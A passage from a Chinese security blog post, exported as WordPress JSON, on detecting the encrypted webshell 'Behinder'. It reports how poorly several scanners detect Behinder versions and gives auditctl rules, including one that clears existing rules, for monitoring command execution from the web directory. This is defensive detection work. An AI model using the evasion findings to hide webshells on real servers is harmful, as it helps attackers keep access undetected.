\u7ed3\u679c\u90fd\u6bd4\u8f83\u4e00\u822c\u3002<\/strong><\/p>\n<p>\u5176\u4e2d\uff0cD\u76fe\u3001\u6cb3\u9a6c\u53ea\u68c0\u6d4b\u51fa\u4e86\u65e9\u671f\u51b0\u874ev1.2\u7248\u672c\u4e2d\u7684PHP webshell\u6587\u4ef6\uff0c\u672a\u68c0\u6d4b\u51fajsp\u3001asp \u7b49webshell\uff0c\u68c0\u51fa\u6bd4\u53ea\u670920%\u3002<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122250226-1848725595.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122250226-1848725595.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u800c\u5bf9\u4e8e\u51b0\u874ev2.1\u7684webshell\uff0cD\u76fe\u3001\u6cb3\u9a6c\u90fd\u5b8c\u5168\u6ca1\u6709\u68c0\u6d4b\u51fa\u6765\uff0c\u68c0\u51fa\u6bd4\u4e3a0\u3002<a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122302719-1868041329.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122302719-1868041329.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u53ea\u6709webdir+\u68c0\u6d4b\u51fa\u4e86\u51b0\u874ev2.1\u76843\u4e2awebshell\u6587\u4ef6\uff0c\u68c0\u51fa\u6bd4\u4e3a60%\uff0c\u53ef\u89c1\u51b0\u874e\u7684\u514d\u6740\u505a\u5f97\u5f88\u4e0d\u9519\u3002<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122309759-604368187.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122309759-604368187.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u540c\u65f6\uff0c\u5b9a\u671f\u7684webshell\u6587\u4ef6\u626b\u63cf\u4e5f\u5b58\u5728\u65f6\u6548\u6027\u5dee\u7684\u95ee\u9898\uff0c\u653b\u51fb\u65b9\u62ff\u5230shell\u540e\uff0c\u4e5f\u4f1a\u5bf9webshell\u8fdb\u884c\u75d5\u8ff9\u6e05\u7406\uff0c\u6240\u4ee5\u8fd9\u79cd\u65b9\u5f0f\u68c0\u6d4b\u6548\u679c\u4e5f\u6709\u9650\u3002<\/p>\n<p><strong>\uff082\uff09Linux audit\u65e5\u5fd7\u68c0\u6d4b<\/strong><\/p>\n<p>\u867d\u7136\u51b0\u874e\u901a\u8baf\u6d41\u91cf\u662f\u52a0\u5bc6\u7684\uff0c\u4f46\u843d\u5230\u4e3b\u673a\u4fa7\uff0c\u8fd8\u662f\u4f1a\u8c03\u7528\u7cfb\u7edf\u547d\u4ee4\uff0c\u6240\u4ee5\u53ef\u4ee5\u5728\u4e3b\u673a\u5ba1\u8ba1\u65e5\u5fd7\u5c42\u9762\u5b9a\u5236\u68c0\u6d4b\u89c4\u5219\uff0c\u76d1\u63a7\u51b0\u874e\u5bf9\u7cfb\u7edf\u547d\u4ee4\u7684\u8c03\u7528\u3002Linux\u5ba1\u8ba1\u7cfb\u7edf\u63d0\u4f9b\u4e86\u4e00\u79cd\u8ddf\u8e2a\u7cfb\u7edf\u4e0a\u4e0e\u5b89\u5168\u76f8\u5173\u7684\u4fe1\u606f\u7684\u65b9\u6cd5\u3002\u57fa\u4e8e\u9884\u5148\u914d\u7f6e\u7684\u89c4\u5219\uff0c\u5ba1\u6838\u751f\u6210\u65e5\u5fd7\u6761\u76ee\u4ee5\u8bb0\u5f55\u5c3d\u53ef\u80fd\u591a\u7684\u5173\u4e8e\u7cfb\u7edf\u4e0a\u53d1\u751f\u7684\u4e8b\u4ef6\u4fe1\u606f\uff0c\u53c2\u8003<strong>\u300a\u53e6\u7c7bWebShell\u76d1\u6d4b\u673a\u5236\u2013\u57fa\u4e8eauditd\u300b[4]\u601d\u8def\u3002<\/strong><\/p>\n<p>\u4ee5root\u8eab\u4efd\u6267\u884c\u5982\u4e0b\u547d\u4ee4\uff0c\u53ef\u5b9e\u73b0\u5bf9\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u8fd9\u4e00\u4e2aSYSCALL\u884c\u4e3a\u7684\u76d1\u63a7\u5ba1\u8ba1\u3002<\/p>\n<pre><code> auditctl -D # \u6e05\u9664\u5df2\u6709\u89c4\u5219\n auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command<\/code><\/pre>\n<p>\u4e0a\u8ff0\u547d\u4ee4\u5728\u7cfb\u7edf\u5ba1\u8ba1\u89c4\u5219\u4e2d\u589e\u52a0\u4e86\u4e00\u6761\u76d1\u63a7\u8c03\u7528\u547d\u4ee4\u6267\u884c\u76d1\u63a7\u89c4\u5219\uff0c\u5e76\u4e14\u5b9a\u4e49\u89c4\u5219\u540d\u4e3arule01_exec_command\u3002<\/p>\n<p>\u5728\u51b0\u874e\u4e2d\u6267\u884c\u547d\u4ee4whoami\uff0c\u5728Linux\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u53d1\u73b0\u8bb0\u5f55\uff1a<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122320014-651940555.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122320014-651940555.png\" alt=\"img\" \/><\/a><\/p>\n<p><strong><em>type=SYSCALL\\<\/em><\/strong>\uff1a\u65e5\u5fd7\u89c4\u5219\u201crule01_exec_command\u201d\u88ab\u89e6\u53d1\uff0cuid=33\u7684\u7528\u6237\uff0c\u901a\u8fc7\u7236\u8fdb\u7a0bppid=597\uff0c\u8c03\u7528\/usr\/bin\/bash\uff0c\u6267\u884c\u4e86\u547d\u4ee4sh\uff0c\u8fdb\u7a0bpid=8380\u3002<strong><em>type=SYSCALL\u548ctype=EXECVE\\<\/em><\/strong>\u90fd\u80fd\u770b\u5230\u6267\u884c\u7684\u7a0b\u5e8f\u540d\u79f0\u548c\u53c2\u6570\u3002<strong><em>type=CWD\\<\/em><\/strong>\u5219\u8bf4\u660e\u4e86\uff0c\u547d\u4ee4\u6267\u884c\u6240\u5728\u7684\u76ee\u5f55cwd=&quot;\/var\/www\/html&quot;\u3002 \u4e00\u822ccwd\u5728web\u76ee\u4e0b\u7684\uff0c\u53c8\u6267\u884c\u4e86\u7cfb\u7edf\u547d\u4ee4\uff0c\u5219\u8fd9\u4e2a\u884c\u4e3a\u662f\u6bd4\u8f83\u53ef\u7591\u7684\u3002 \u5f53\u7136\u57fa\u4e8e\u5ba1\u8ba1\u65e5\u5fd7\u7684\u68c0\u6d4b\u601d\u8def\u4e5f\u5b58\u5728\u4e00\u5b9a\u95ee\u9898\uff0c\u5305\u62ec\uff1a\u5408\u7406\u914d\u7f6eauditd\u7684\u8fd0\u884c\u53c2\u6570\uff0c\u51c6\u786e\u8bc4\u4f30\u5ba1\u8ba1\u529f\u80fd\u5bf9\u7cfb\u7edf\u6027\u80fd\u7684\u5f71\u54cd\uff1b\u5982\u4f55\u4e3b\u52a8\u8bc6\u522bWeb\u8fdb\u7a0b\u548cWeb\u76ee\u5f55\u4fe1\u606f\uff1b\u5982\u4f55\u5b9e\u65f6\u6536\u96c6\u64cd\u4f5c\u7cfb\u7edf\u8fdb\u7a0b\u548c\u8fdb\u7a0bPID\u7b49\u4fe1\u606f\uff1b\u5982\u4f55\u5173\u8054\u5206\u6790Web\u8bbf\u95ee\u65e5\u5fd7\uff1bWindows\u5e73\u53f0\u662f\u5426\u6709\u540c\u6837\u7684\u68c0\u6d4b\u673a\u5236\u7b49\u7b49\u3002<\/p>\n<h3>0x04 \u603b\u7ed3<\/h3>\n<p>\u968f\u7740\u653b\u9632\u5bf9\u6297\u7684\u4e0d\u65ad\u5347\u7ea7\uff0c\u653b\u51fb\u65b9\u7684\u624b\u6bb5\u8d8a\u6765\u8d8a\u9690\u853d\uff0c\u5f88\u591a\u653b\u51fb\u6d41\u91cf\u90fd\u4f1a\u8fdb\u884c\u52a0\u5bc6\uff0c\u7ed9\u9632\u5b88\u65b9\u5e26\u6765\u4e86\u8f83\u5927\u6311\u6218\uff0c\u76f8\u4fe1\u540e\u7eed\u5bf9\u52a0\u5bc6\u653b\u51fb\u6d41\u91cf\u68c0\u6d4b\u7684\u7814\u7a76\u4e5f\u4f1a\u8d8a\u6765\u8d8a\u591a\u3002\u672c\u6587\u5bf9\u52a0\u5bc6webshell\u201c\u51b0\u874e\u201d\u7684\u52a0\u5bc6\u539f\u7406\u8fdb\u884c\u4e86\u5206\u6790\uff0c\u5728\u6d41\u91cf\u4fa7\u68c0\u6d4b\u3001\u5e94\u7528\u4fa7\u68c0\u6d4b\u3001\u4e3b\u673a\u5c42\u68c0\u6d4b\u65b9\u9762\u63d0\u51fa\u4e86\u68c0\u6d4b\u601d\u8def\u3002\u5404\u4e2a\u5c42\u9762\u7684\u68c0\u6d4b\u5404\u6709\u5229\u5f0a\uff0c\u90fd\u96be\u4ee5\u4ec5\u4ec5\u4f9d\u9760\u4e00\u79cd\u624b\u6bb5\u89e3\u51b3\u6240\u6709\u95ee\u9898\u3002<\/p>\n<p>\u6309\u7167\u7eb5\u6df1\u9632\u5fa1\u7684\u601d\u60f3\uff0c\u4f01\u4e1a\u9700\u8981\u90e8\u7f72\u591a\u5c42\u6b21\u7684\u9632\u62a4\uff0c\u5408\u7406\u8fd0\u7528\u5404\u79cd\u6280\u672f\u7684\u7279\u70b9\uff0c\u4ece\u800c\u8fbe\u5230\u591a\u5c42\u6b21\u3001\u591a\u6280\u672f\u7684\u9632\u5fa1\u4e92\u8865\u7684\u6548\u679c\uff0c\u8fdb\u800c\u9632\u6b62\u4e00\u5904\u9632\u5fa1\u5931\u6548\u540e\u88ab\u5168\u5c40\u7a81\u7834\u3002\u540c\u65f6\uff0c\u5728\u5404\u4e2a\u9632\u5fa1\u624b\u6bb5\u90e8\u7f72\u540e\uff0c\u4f01\u4e1a\u8fd8\u9700\u8981\u6301\u7eed\u4e0d\u65ad\u7684\u8fdb\u884c\u5b89\u5168\u8fd0\u8425\uff0c\u53d1\u6325\u9632\u5fa1\u8bbe\u5907\u6700\u5927\u529f\u6548\uff0c\u6784\u5efa\u5408\u9002\u81ea\u8eab\u7684\u5b89\u5168\u9632\u5fa1\u4f53\u7cfb\uff0c\u624d\u80fd\u4e0d\u65ad\u63d0\u5347\u4f01\u4e1a\u7684\u5b89\u5168\u9632\u62a4\u6c34\u5e73\uff0c\u624d\u80fd\u5e94\u5bf9\u65e5\u76ca\u4e25\u5cfb\u7684\u7f51\u7edc\u5b89\u5168\u5f62\u52bf\u3002<\/p>\n<p><strong>\u6700\u540e\uff0c\u4eca\u5929\u662f\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd\u6210\u7acb70\u5468\u5e74\uff0c\u795d\u798f\u7956\u56fd\u7e41\u8363\u660c\u76db\uff0c\u795d\u5927\u5bb6\u5047\u671f\u6109\u5feb\uff01<\/strong><\/p>\n<p><strong>\u53c2\u8003\u8d44\u6599<\/strong><\/p>\n<p>[1]<\/p>\n<p>\u300a\u5229\u7528\u52a8\u6001\u4e8c\u8fdb\u5236\u52a0\u5bc6\u5b9e\u73b0\u65b0\u578b\u4e00\u53e5\u8bdd\u6728\u9a6c\u4e4bPHP\u7bc7\u300b: <em><a href=\"https:\/\/xz.aliyun.com\/t\/2774\">https:\/\/xz.aliyun.com\/t\/2774<\/a><\/em><\/p>\n<p>[2]\u300aOpenRASP \u6700\u4f73\u5b9e\u8df5\u300b: <em><a href=\"https:\/\/rasp.baidu.com\/download\/OpenRASP%20Internals.pdf?from=header\">https:\/\/rasp.baidu.com\/download\/OpenRASP%20Internals.pdf?from=header<\/a><\/em><\/p>\n<p>[3]webdir+: <em><a href=\"https:\/\/scanner.baidu.com\/#\/pages\/intro\">https:\/\/scanner.baidu.com\/#\/pages\/intro<\/a><\/em><\/p>\n<p>[4]\u300a\u53e6\u7c7bWebShell\u76d1\u6d4b\u673a\u5236\u2013\u57fa\u4e8eauditd\u300b: <em><a href=\"https:\/\/www.secpulse.com\/archives\/62113.html\">https:\/\/www.secpulse.com\/archives\/62113.html<\/a><\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u7ea2\u84dd\u5bf9\u6297\u2014\u2014\u52a0\u5bc6Webshell\u201c\u51b0\u874e\u201d\u653b\u9632 \u6f14\u7ec3\u4e2d\uff0c\u7b2c\u4e00\u4ee3webshell\u7ba1\u7406\u5de5\u5177\u201c\u83dc\u5200\u201d\u7684\u653b\u51fb\u6d41\u91cf\u7279\u5f81\u660e\u663e\uff0c\u5bb9\u6613\u88ab\u5b89\u5168\u8bbe\u5907\u68c0\u6d4b\u5230\uff0c\u653b\u51fb\u65b9\u8d8a\u6765\u8d8a\u5c11\u4f7f\u7528\uff0c\u52a0\u5bc6webshell\u6b63\u53d8\u5f97\u8d8a\u6765\u8d8a\u6d41\u884c\uff0c\u7531\u4e8e\u6d41\u91cf&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-3892","post","type-post","status-publish","format-standard","hentry","category-hacker"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/3892","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3892"}],"version-history":[{"count":1,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/3892\/revisions"}],"predecessor-version":[{"id":3893,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/3892\/revisions\/3893"}],"wp:attachment":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3892"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3892"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3892"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}